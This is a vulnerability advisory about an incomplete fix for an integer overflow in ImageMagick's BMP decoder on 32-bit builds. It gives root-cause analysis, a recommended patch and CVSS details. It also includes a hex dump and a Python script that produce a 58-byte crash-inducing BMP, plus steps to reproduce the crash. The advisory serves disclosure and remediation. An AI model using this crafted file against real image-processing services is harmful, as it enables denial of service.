ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)

Description

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions:
- ImageMagick < 7.1.2-2 (originally reported)
- ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements:
- 32-bit systems ONLY (i386, i686, armv7l, etc.)
- Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))
- Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).


Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

// Line 1120: Integer overflow happens HERE
extent = image-&gt;columns * bmp_info.bits_per_pixel;  // OVERFLOW!

// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image-&gt;rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, &quot;InsufficientImageDataInFile&quot;);

Why the Patch Fails

Attack Vector (32-bit system):

Input BMP Header:
  Width: 536,870,912 (0x20000000)
  Height: 1
  Bits Per Pixel: 32

Calculation on 32-bit system:
  extent = 536,870,912 × 32
         = 17,179,869,184 (0x400000000)

  32-bit truncation:
  0x400000000 &amp; 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!

  bytes_per_line = 4 × ((0 + 31) / 32)
                 = 4 × 0
                 = 0

  BMPOverflowCheck(0, 1):
    return (1 != 0) &amp;&amp; (0 &gt; 4294967295UL/1)
    return True &amp;&amp; (0 &gt; 4294967295)
    return True &amp;&amp; False
    return False  ← Does NOT detect overflow!

The check fails because:
1. The overflow happens at Line 1120 (extent calculation)
2. extent becomes 0 due to 32-bit truncation
3. bytes_per_line is calculated as 0 (Line 1121)
4. BMPOverflowCheck(0, 1) returns False (no overflow detected)
5. Code proceeds with corrupted values → ASan crash


PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Key Fields:
- Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)
- Offset 0x16: Height = 01 00 00 00 = 1
- Offset 0x1C: BPP = 20 00 = 32

Python Generator

#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP File Header (14 bytes)
file_header = b&#x27;BM&#x27;
file_header += struct.pack(&#x27;&lt;I&#x27;, 58)      # File size
file_header += struct.pack(&#x27;&lt;HH&#x27;, 0, 0)   # Reserved
file_header += struct.pack(&#x27;&lt;I&#x27;, 54)      # Pixel offset

# DIB Header (40 bytes)
dib_header = struct.pack(&#x27;&lt;I&#x27;, 40)        # Header size
dib_header += struct.pack(&#x27;&lt;i&#x27;, width)    # Width
dib_header += struct.pack(&#x27;&lt;i&#x27;, height)   # Height
dib_header += struct.pack(&#x27;&lt;H&#x27;, 1)        # Planes
dib_header += struct.pack(&#x27;&lt;H&#x27;, bpp)      # BPP
dib_header += struct.pack(&#x27;&lt;I&#x27;, 0)        # Compression
dib_header += struct.pack(&#x27;&lt;I&#x27;, 0)        # Image size
dib_header += struct.pack(&#x27;&lt;i&#x27;, 2835)     # X ppm
dib_header += struct.pack(&#x27;&lt;i&#x27;, 2835)     # Y ppm
dib_header += struct.pack(&#x27;&lt;I&#x27;, 0)        # Colors
dib_header += struct.pack(&#x27;&lt;I&#x27;, 0)        # Important colors

pixel_data = b&#x27;\x00\x00\x00\x00&#x27;

with open(&#x27;overflow.bmp&#x27;, &#x27;wb&#x27;) as f:
    f.write(file_header + dib_header + pixel_data)

print(f&quot;Created overflow.bmp (58 bytes)&quot;)

Reproduction Steps

Environment Setup

# Use 32-bit Docker container
docker run -it --name test-32bit i386/ubuntu:latest bash

# Install dependencies
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev

# Download ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5

Build with AddressSanitizer (32-bit IMPORTANT!)

# Configure for 32-bit build (CRITICAL - must be 32-bit!)
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS=&quot;-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined&quot; \
    CXXFLAGS=&quot;-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined&quot; \
    LDFLAGS=&quot;-fsanitize=address,undefined&quot;

make -j$(nproc)

### Trigger the Vulnerability

```bash
# Set environment to bypass cache.c limits
export ASAN_OPTIONS=&quot;detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1&quot;
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

# Test with malicious BMP (use Python script above to create it)
./utilities/magick identify overflow.bmp

AddressSanitizer Output

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 
&quot;((AddrIsInMem(addr + size - (1ULL &lt;&lt; kDefaultShadowScale)))) != (0)&quot; (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 
&quot;((0 &amp;&amp; &quot;Address is not in memory and not in shadow?&quot;)) != (0)&quot; (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: 
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow
For details see https://github.com/google/sanitizers/issues/189

It operates in the following environments.

export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

Impact

Attack Scenario

  1. Attacker creates a 58-byte malicious BMP file
  2. Uploads to web service that uses ImageMagick (on 32-bit system)
  3. ImageMagick attempts to process the image
  4. Integer overflow triggers AddressSanitizer crash
  5. Service becomes unavailable (Denial of Service)

Real-world targets:
- Web hosting platforms with image processing
- CDN services with thumbnail generation
- Legacy embedded systems
- IoT devices running 32-bit Linux
- Docker containers using 32-bit base images


Recommended Fix

Correct Patch

The overflow check must happen before the multiplication:

// Add overflow check BEFORE calculating extent
if (BMPOverflowCheck(image-&gt;columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, &quot;IntegerOverflowInDimensions&quot;);

// Now safe to calculate
extent = image-&gt;columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// Additional safety check
if (BMPOverflowCheck(bytes_per_line, image-&gt;rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, &quot;InsufficientImageDataInFile&quot;);

Alternative: Use 64-bit Arithmetic

// Force 64-bit calculation
uint64_t extent_64 = (uint64_t)image-&gt;columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 &gt; UINT32_MAX)
    ThrowReaderException(CorruptImageError, &quot;ImageDimensionsTooLarge&quot;);

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

Credits

wooseokdotkim
[email protected]

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-10-28 14:43:20 UTC
Updated
2025-11-03 18:32:51 UTC
GitHub reviewed
2025-10-28 14:43:20 UTC
NVD published
2025-10-17

EPSS Score

Score Percentile
0.07% 22.50%

CVSS Scores

Base score Version Severity Vector
4.4 3.1
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:H)
Even with access, the exploit needs extra luck, timing, or a fussy environment to actually work.
Privileges required (PR:H)
They need powerful rights—admin, root, or similar—before this pays off.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-190 Integer Overflow or Wraparound

Credits

  • wooseokdotkim (reporter)

Affected packages (6)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
nuget Magick.NET-Q16-AnyCPU < 14.9.0 14.9.0
nuget Magick.NET-Q16-HDRI-AnyCPU < 14.9.0 14.9.0
nuget Magick.NET-Q16-HDRI-x86 < 14.9.0 14.9.0
nuget Magick.NET-Q16-x86 < 14.9.0 14.9.0
nuget Magick.NET-Q8-AnyCPU < 14.9.0 14.9.0
nuget Magick.NET-Q8-x86 < 14.9.0 14.9.0

References

cvelogic Threat Intelligence